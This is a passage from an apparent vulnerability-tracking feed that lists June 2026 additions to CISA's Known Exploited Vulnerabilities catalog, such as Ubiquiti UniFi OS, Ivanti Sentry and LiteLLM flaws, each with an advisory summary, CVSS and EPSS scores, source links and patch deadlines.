Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ubiquiti UniFi OS Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2026-34910
Ubiquiti UniFi OS Improper Input Validation Vulnerability (Jun 23, 2026).
Ubiquiti UniFi OS contains an improper input validation vulnerability which could allow a malicious actor with access to the network to conduct command injection.
CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34910).
EPSS 90.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34910: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34910&date=2026-10-25
CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34910
CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ubiquiti UniFi OS Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-34909
Ubiquiti UniFi OS Path Traversal Vulnerability (Jun 23, 2026).
Ubiquiti UniFi OS contains a path traversal vulnerability which could allow a malicious actor with access to the network to access files on the underlying system that could be manipulated to access an underlying account.
CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34909).
EPSS 68.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34909: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34909&date=2026-10-25
CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34909
CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ubiquiti UniFi OS Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2026-34908
Ubiquiti UniFi OS Improper Access Control Vulnerability (Jun 23, 2026).
Ubiquiti UniFi OS contains an improper access control vulnerability which could allow a malicious actor with access to the network to make unauthorized changes to the system.
CVSS 10.0 (version 3.1; evidence as of May 22, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-34908).
EPSS 88.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-34908: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34908&date=2026-10-25
CVE Program CNA hackerone: https://cveawg.mitre.org/api/cve/CVE-2026-34908
CISA added this entry on 2026-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2026; federal due date Jun 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Splunk Enterprise Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-20253
Splunk Enterprise Missing Authentication for Critical Function Vulnerability (Jun 18, 2026).
Splunk Enterprise contains a missing authentication for critical function vulnerability which could allow an unauthenticated user to create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.
CVSS 9.8 (version 3.1; evidence as of Jun 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20253).
EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20253&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20253
CISA added this entry on 2026-06-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 18, 2026; federal due date Jun 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Widget Factory Joomla Content Editor Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2026-48907
Widget Factory Joomla Content Editor Improper Access Control Vulnerability (Jun 16, 2026).
Widget Factory Joomla Content Editor contains an improper access control vulnerability which could allow for upload and execution of PHP code via the creation of new editor profiles for unauthenticated users.
CVSS 10.0 (version 4.0; evidence as of Jun 20, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-48907).
EPSS 85.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-48907: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-48907&date=2026-10-25
CVE Program CNA Joomla: https://cveawg.mitre.org/api/cve/CVE-2026-48907
CISA added this entry on 2026-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 16, 2026; federal due date Jun 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability
https://kevwire.com/record/CVE-2026-54420
LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following Vulnerability (Jun 15, 2026).
LiteSpeed cPanel plugin contains a UNIX symbolic link (Symlink) following vulnerability that could allow a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.
CVSS 8.5 (version 3.1; evidence as of Jun 14, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-54420).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-54420: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54420&date=2026-10-25
CVE Program CNA mitre: https://cveawg.mitre.org/api/cve/CVE-2026-54420
CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 15, 2026; federal due date Jun 18, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability
https://kevwire.com/record/CVE-2026-20262
Cisco Catalyst SD-WAN Manager Directory or Path Traversal Vulnerability (Jun 15, 2026).
Cisco Catalyst SD-WAN Manager contains a directory or path traversal vulnerability that could allow an authenticated, remote attacker to create a file or overwrite any file on the filesystem of an affected system.
CVSS 6.5 (version 3.1; evidence as of Jun 15, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20262).
EPSS 29.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20262: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20262&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20262
CISA added this entry on 2026-06-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 15, 2026; federal due date Jun 29, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability
https://kevwire.com/record/CVE-2026-35273
Oracle PeopleSoft Enterprise PeopleTools Missing Authentication for Critical Function Vulnerability (Jun 12, 2026).
Oracle PeopleSoft Enterprise PeopleTools contains a missing authentication for critical function vulnerability which could allow an unauthenticated attacker to obtain takeover of PeopleSoft Enterprise PeopleTools.
CVSS 9.8 (version 3.1; evidence as of Jun 11, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-35273).
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-35273: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35273&date=2026-10-25
CVE Program CNA oracle: https://cveawg.mitre.org/api/cve/CVE-2026-35273
CISA added this entry on 2026-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 12, 2026; federal due date Jun 15, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Sentry OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-10520
Ivanti Sentry OS Command Injection Vulnerability (Jun 11, 2026).
Ivanti Sentry (formerly known as MobileIron Sentry) contains an OS command injection vulnerability which could allow a remote unauthenticated user to achieve root-level remote code execution. This vulnerability can be successfully exploited in cases where the Sentry appliance is in an unmanaged state with its endpoints externally reachable. The use of mTLS with EPMM or restricted HTTPS access through Neurons for MDM makes interfaces inaccessible to external actors.
CVSS 10.0 (version 3.1; evidence as of Jun 9, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-10520).
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-10520: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10520&date=2026-10-25
CVE Program CNA ivanti: https://cveawg.mitre.org/api/cve/CVE-2026-10520
CISA added this entry on 2026-06-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 11, 2026; federal due date Jun 14, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Read and Write Vulnerability
https://kevwire.com/record/CVE-2026-11645
Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (Jun 9, 2026).
Google Chromium V8 out-of-bounds read and write vulnerability that could allow a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
CVSS 8.8 (version 3.1; evidence as of Jun 10, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-11645).
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-11645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-11645&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-11645
CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability
https://kevwire.com/record/CVE-2026-7473
Arista Extensible Operating System Incomplete Comparison with Missing Factors Vulnerability (Jun 9, 2026).
Arista Extensible Operating System (EOS) contains an incomplete comparison with missing factors vulnerability when the switch incorrectly decapsulate and forwards other unexpected tunneled packet with a destination IP matching its configured decapsulation IP.
CVSS 6.9 (version 4.0; evidence as of Jun 5, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-7473).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-7473: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-7473&date=2026-10-25
CVE Program CNA Arista: https://cveawg.mitre.org/api/cve/CVE-2026-7473
CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability
https://kevwire.com/record/CVE-2026-20245
Cisco Catalyst SD-WAN Manager Improper Encoding or Escaping of Output Vulnerability (Jun 9, 2026).
Cisco Catalyst SD-WAN Manager formerly SD-WAN vManage contains an improper encoding or escaping of output vulnerability. This vulnerability could allow an authenticated, local attacker to execute arbitrary commands as root by supplying a crafted file to the affected system.
CVSS 7.8 (version 3.1; evidence as of Jul 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-20245).
EPSS 25.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-20245: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20245&date=2026-10-25
CVE Program CNA cisco: https://cveawg.mitre.org/api/cve/CVE-2026-20245
CISA added this entry on 2026-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 9, 2026; federal due date Jun 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### BerriAI LiteLLM Command Injection Vulnerability
https://kevwire.com/record/CVE-2026-42271
BerriAI LiteLLM Command Injection Vulnerability (Jun 8, 2026).
BerriAI LiteLLM contains a command injection vulnerability that could allow any authenticated user, including holders of low-privilege internal-user keys, to run arbitrary commands on the host.
CVSS 8.7 (version 4.0; evidence as of May 8, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-42271).
EPSS 91.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-42271: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42271&date=2026-10-25
CVE Program CNA GitHub_M: https://cveawg.mitre.org/api/cve/CVE-2026-42271
CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2026; federal due date Jun 22, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Check Point Security Gateway Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2026-50751
Check Point Security Gateway Improper Authentication Vulnerability (Jun 8, 2026).
Check Point Security Gateway contains an improper authentication vulnerability in IKEv1 key exchange that could allow an unauthenticated remote attacker to bypass user authentication and establish a remote access VPN connection without a valid user password.
CVSS 9.3 (version 3.1; evidence as of Aug 4, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-50751).
EPSS 85.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-50751: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50751&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2026-50751
CISA added this entry on 2026-06-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 8, 2026; federal due date Jun 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability
https://kevwire.com/record/CVE-2026-28318
SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability (Jun 5, 2026).
SolarWinds Serv-U contains an uncontrolled resource consumption vulnerability that allows specially crafted POST requests using the Content-Encoding: deflate header to crash the Serv-U service without authentication.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-28318).
EPSS 43.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-28318: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28318&date=2026-10-25
CVE Program CNA SolarWinds: https://cveawg.mitre.org/api/cve/CVE-2026-28318
CISA added this entry on 2026-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 5, 2026; federal due date Jun 19, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2026-45247
Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability (Jun 3, 2026).
Mirasvit Full Page Cache Warmer contains a deserialization of untrusted data vulnerability that could allow unauthenticated attackers to achieve remote code execution by supplying a crafted serialized PHP object in the CacheWarmer cookie.
CVSS 9.3 (version 4.0; evidence as of May 26, 2026; https://cveawg.mitre.org/api/cve/CVE-2026-45247).
EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25).
Sources:
CISA KEV entry CVE-2026-45247: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-45247&date=2026-10-25
CVE Program CNA VulnCheck: https://cveawg.mitre.org/api/cve/CVE-2026-45247
CISA added this entry on 2026-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 3, 2026; federal due date Jun 6, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Authentication Vulnerability
https://kevwire.com/record/CVE-2022-0492
Linux Kernel Improper Authentication Vulnerability (Jun 2, 2026).
Linux Kernel contains an improper authentication vulnerability which could allow for privilege escalation via the cgroups v1 release_agent feature.
CVSS 7.8 (version 3.1; evidence as of Jun 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2022-0492).
EPSS 5.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0492&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2022-0492
CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2026; federal due date Jun 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Framework Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-48595
Android Framework Integer Overflow Vulnerability (Jun 2, 2026).
Android Framework contains an integer overflow vulnerability that allows for code execution that could allow for local privilege escalation.
CVSS 8.4 (version 3.1; evidence as of Jun 3, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-48595).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-48595: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48595&date=2026-10-25
CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2025-48595
CISA added this entry on 2026-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2026; federal due date Jun 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2024-21182
Oracle WebLogic Server Unspecified Vulnerability (Jun 1, 2026).
Oracle WebLogic contains an unspecified vulnerability that could allow an unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data.
CVSS 7.5 (version 3.1; evidence as of Jul 16, 2024; https://cveawg.mitre.org/api/cve/CVE-2024-21182).
EPSS 74.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21182&date=2026-10-25).
Sources:
